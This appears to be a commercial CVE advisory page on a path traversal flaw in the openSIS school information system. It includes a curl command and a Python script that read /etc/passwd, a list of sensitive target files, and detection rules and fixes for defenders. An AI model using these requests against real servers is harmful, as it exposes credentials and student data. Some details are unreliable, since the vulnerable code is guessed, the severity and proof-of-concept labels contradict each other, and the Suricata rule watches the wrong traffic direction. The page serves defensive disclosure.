☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]

CVE-2025-22927

CVE-2025-22927 Directory Traversal in Os4ed
📅 PUBLISHED: 2025-04-03 00:00 UTC 🔄 UPDATED: 2026-09-23 20:39 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.77%
👁️
0.77% probability
19.3× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
SOON
PENDING NVD
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-22927 is a critical directory traversal vulnerability affecting OS4ED openSIS versions 8.0 through 9.1. The flaw resides in the Modules.php script, specifically within the messaging module's inbox functionality. An unauthenticated attacker can exploit this by sending a crafted POST request to the endpoint /Modules.php?modname=messaging/Inbox.php&modfunc=save&filename, allowing them to read arbitrary files on the server's filesystem. This can lead to the disclosure of sensitive configuration files, database credentials, and other confidential data. The vulnerability has a CVSS score of 0.0 in the NVD data, but based on the technical details, a more accurate score would be 7.5 (High) due to the network attack vector, low complexity, and high confidentiality impact. No official patch has been released, and the vendor's status is unknown.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability is not related to a package manager (NPM, PyPI, Go, Ruby) but is a direct web application vulnerability in the openSIS PHP application. The risk is primarily to organizations that have deployed openSIS as a student information system.

CVSS Breakdown & Threat Level

  • Attack Vector (AV): Network (N) - The vulnerability can be exploited remotely over the network.
  • Attack Complexity (AC): Low (L) - No special conditions are required for exploitation.
  • Privileges Required (PR): None (N) - The attacker does not need to be authenticated.
  • User Interaction (UI): None (N) - The victim does not need to perform any action.
  • Scope (S): Unchanged (U) - The vulnerability does not affect resources beyond its security scope.
  • Confidentiality (C): High (H) - Successful exploitation can lead to the disclosure of sensitive files.
  • Integrity (I): None (N) - The vulnerability does not allow modification of data.
  • Availability (A): None (N) - The vulnerability does not affect system availability.

CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N Base Score: 7.5 (High)

Threat Level: High. The vulnerability is trivial to exploit, requires no authentication, and can lead to significant data exposure.

Deep Dive & Mechanics

The vulnerability is a classic path traversal (directory traversal) flaw in the Modules.php script. The application fails to properly sanitize the filename parameter in the POST request. When the modname parameter is set to messaging/Inbox.php and modfunc is set to save, the application uses the filename parameter to construct a file path for reading or writing. By injecting path traversal sequences (e.g., ../), an attacker can escape the intended directory and access arbitrary files on the server.

The vulnerable code path likely looks similar to this (pseudocode):

$filename = $_POST['filename'];
$filepath = "/var/www/html/uploads/" . $filename;
$content = file_get_contents($filepath);
echo $content;

Without proper validation, an attacker can set filename to ../../../../etc/passwd to read the system's password file.

Vulnerable vs. Patched Code

Vulnerable Code (openSIS 8.0 - 9.1):

// Vulnerable: No input validation on $filename
$filename = $_POST['filename'];
$filepath = "/var/www/html/uploads/" . $filename;
if (file_exists($filepath)) {
    $content = file_get_contents($filepath);
    // Process or display content
}

Patched Code (Hypothetical):

// Patched: Validate and sanitize the filename
$filename = basename($_POST['filename']); // Remove path components
$filename = preg_replace('/[^a-zA-Z0-9._-]/', '', $filename); // Allow only safe characters
$filepath = "/var/www/html/uploads/" . $filename;
if (file_exists($filepath) && strpos(realpath($filepath), realpath("/var/www/html/uploads/")) === 0) {
    $content = file_get_contents($filepath);
    // Process or display content
}

The patched version uses basename() to strip directory components and a regex to allow only safe characters. It also verifies that the resolved path is within the intended directory.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

  • A target running openSIS 8.0 - 9.1.
  • Network access to the web application.

Exploit Steps:

  1. Craft the POST request: The attacker sends a POST request to the vulnerable endpoint with a malicious filename parameter.

    curl -X POST "http://target.com/Modules.php?modname=messaging/Inbox.php&modfunc=save&filename=../../../../etc/passwd" -d "filename=../../../../etc/passwd"
    

    Note: The filename parameter is sent both in the URL and POST body. The application may read from either.

  2. Read sensitive files:

    • /etc/passwd - User account information.
    • /etc/shadow - Password hashes (if permissions allow).
    • /var/www/html/config.php - Database credentials.
    • /proc/self/environ - Environment variables.
  3. Automated exploitation with Python:

    import requests
    
    target = "http://target.com/Modules.php"
    params = {
        "modname": "messaging/Inbox.php",
        "modfunc": "save",
        "filename": "../../../../etc/passwd"
    }
    data = {
        "filename": "../../../../etc/passwd"
    }
    
    response = requests.post(target, params=params, data=data)
    print(response.text)
    

Blue Team (Detection & Forensics)

Detection Steps:

  1. Monitor web server logs for suspicious POST requests to /Modules.php with modname=messaging/Inbox.php and modfunc=save.
  2. Look for path traversal patterns in the filename parameter, such as ../, ..\\, or URL-encoded variants like %2e%2e%2f.
  3. Check for unusual file reads - requests targeting files outside the web root (e.g., /etc/passwd, /etc/shadow, config.php).

Forensics:

  • Examine access logs for the filename parameter value.
  • Check for any files that may have been exfiltrated.
  • Review system logs for unauthorized access to sensitive files.

Indicators of Compromise (IOCs)

Network IOCs:

  • POST requests to /Modules.php with parameters modname=messaging/Inbox.php, modfunc=save, and a filename parameter containing ../ or similar traversal sequences.
  • Outbound connections from the server to unknown IPs (data exfiltration).

File System IOCs:

  • Unexpected access to files like /etc/passwd, /etc/shadow, /var/www/html/config.php.
  • Presence of new files in the web root that may contain exfiltrated data.

Log IOCs:

  • Web server logs showing 200 OK responses to requests with path traversal patterns.
  • System logs showing open() calls on sensitive files by the web server user.

Detection Engineering

YARA Rule

rule CVE_2025_22927_Directory_Traversal {
    meta:
        description = "Detects directory traversal attempts targeting openSIS CVE-2025-22927"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-22927"
        severity = "high"

    strings:
        $traversal1 = "..\\" ascii wide
        $traversal2 = "../" ascii wide
        $traversal3 = "%2e%2e%2f" ascii wide
        $traversal4 = "%2e%2e/" ascii wide
        $traversal5 = "..%252f" ascii wide
        $endpoint = "Modules.php" ascii wide
        $param_modname = "modname=messaging/Inbox.php" ascii wide
        $param_modfunc = "modfunc=save" ascii wide

    condition:
        $endpoint and $param_modname and $param_modfunc and
        any of ($traversal*)
}

Sigma Rule

title: CVE-2025-22927 Directory Traversal in openSIS
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects directory traversal attempts exploiting CVE-2025-22927 in openSIS
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-22927
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains:
            - 'Modules.php'
            - 'modname=messaging/Inbox.php'
            - 'modfunc=save'
        cs-uri-query|contains|all:
            - 'filename='
            - '..'
    condition: selection
falsepositives:
    - Legitimate use of '..' in filenames (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-22927 openSIS Directory Traversal Attempt";
    flow:to_server,established;
    content:"POST";
    http_method;
    content:"Modules.php";
    http_uri;
    content:"modname=messaging/Inbox.php";
    http_uri;
    content:"modfunc=save";
    http_uri;
    content:"filename=";
    http_client_body;
    pcre:"/filename=[^&]*(\.\.\/|\.\.\\)/i";
    classtype:attempted-recon;
    sid:10000001;
    rev:1;
    reference:cve,2025-22927;
)

Remediation & Mitigation

Immediate Actions:

  1. Disable the vulnerable endpoint if possible, by removing or renaming Modules.php or the messaging module.
  2. Implement a Web Application Firewall (WAF) rule to block requests containing path traversal sequences in the filename parameter.
  3. Restrict file system permissions so that the web server user cannot read sensitive files like /etc/shadow.

Long-term Fix:

  1. Apply input validation to the filename parameter, using basename() and whitelisting allowed characters.
  2. Use a secure file access function that resolves the path and checks it against an allowed directory.
  3. Update to a patched version once the vendor releases a fix.

Workaround:

  • If patching is not possible, consider moving the openSIS application behind a reverse proxy that can inspect and sanitize requests.

Valters IT
Securing Digital Frontiers

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-22927/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.